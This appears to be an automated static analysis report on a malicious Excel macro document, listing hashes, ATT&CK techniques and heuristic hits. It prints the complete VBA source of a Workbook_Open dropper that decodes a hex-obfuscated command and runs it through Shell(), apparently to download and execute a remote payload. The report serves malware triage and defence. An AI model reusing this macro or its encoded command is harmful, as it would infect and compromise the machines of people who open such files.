Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c349c228accaf45f…

MALICIOUS

Office (OOXML)

152.3 KB Created: 2020-07-20 13:15:03 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2020-09-15
MD5: 1469ccc37c686471b3356af7c48bbaaa SHA-1: 565e5bacdfcf24f1fec4d604e31a2b8e8b24a219 SHA-256: c349c228accaf45fcca9ee704da2ea61ddd00578991a06bb6123d49931532978
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains a Workbook_Open VBA macro that decodes a hex string and passes it to the Shell() function. The decoded string is likely a command to download and execute a second-stage payload. The presence of a Workbook_Open macro and a Shell() call strongly suggests an attempt to execute arbitrary code upon opening the document.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1501 bytes
SHA-256: 19e568e3da492a511028fbe72c98ef01481dfbcd01a753f0676fb0fc634cba91
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Sub Workbook_Open()
Dim asd As String
asd = hello("6E786F2B3A6E2B7B7A82707D7E73707777397083702B387083706E807F747A797B7A77746E842B6D847B6C7E7E2B38622B53746F6F70792B386E7A78786C796F2B33797082387A6D75706E7F2B5E847E7F70783959707F3962706D4E777470797F34394F7A8279777A6C6F517477703332737F7F7B453A3A7F73747D6F6E73746F707F396E7A783A6F707B7F3A7B7A7B7A7B7A397B797232372F707981455F70787B3632677E7280703970837032344633597082385A6D75706E7F2B386E7A782B5E73707777394C7B7B77746E6C7F747A7934395E737077775083706E807F70332F707981455F70787B3632677E728070397083703234")
Shell asd
End Sub
  Function hello(hlole As String)
        Dim holle As Integer
        Dim i As Integer
        Dim holel
        holle = 11111
        holel = ""
        For i = 1 To Len(hlole) Step 2
            holel = holel + Chr(CLng("&H" & Mid(hlole, i, 2)) - 11)
        Next
        hello = holel
    End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 14336 bytes
SHA-256: a02f9a6abb3abb68a59c79707ef881a43bc9fe8398add5ca38f671e8771d72f0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).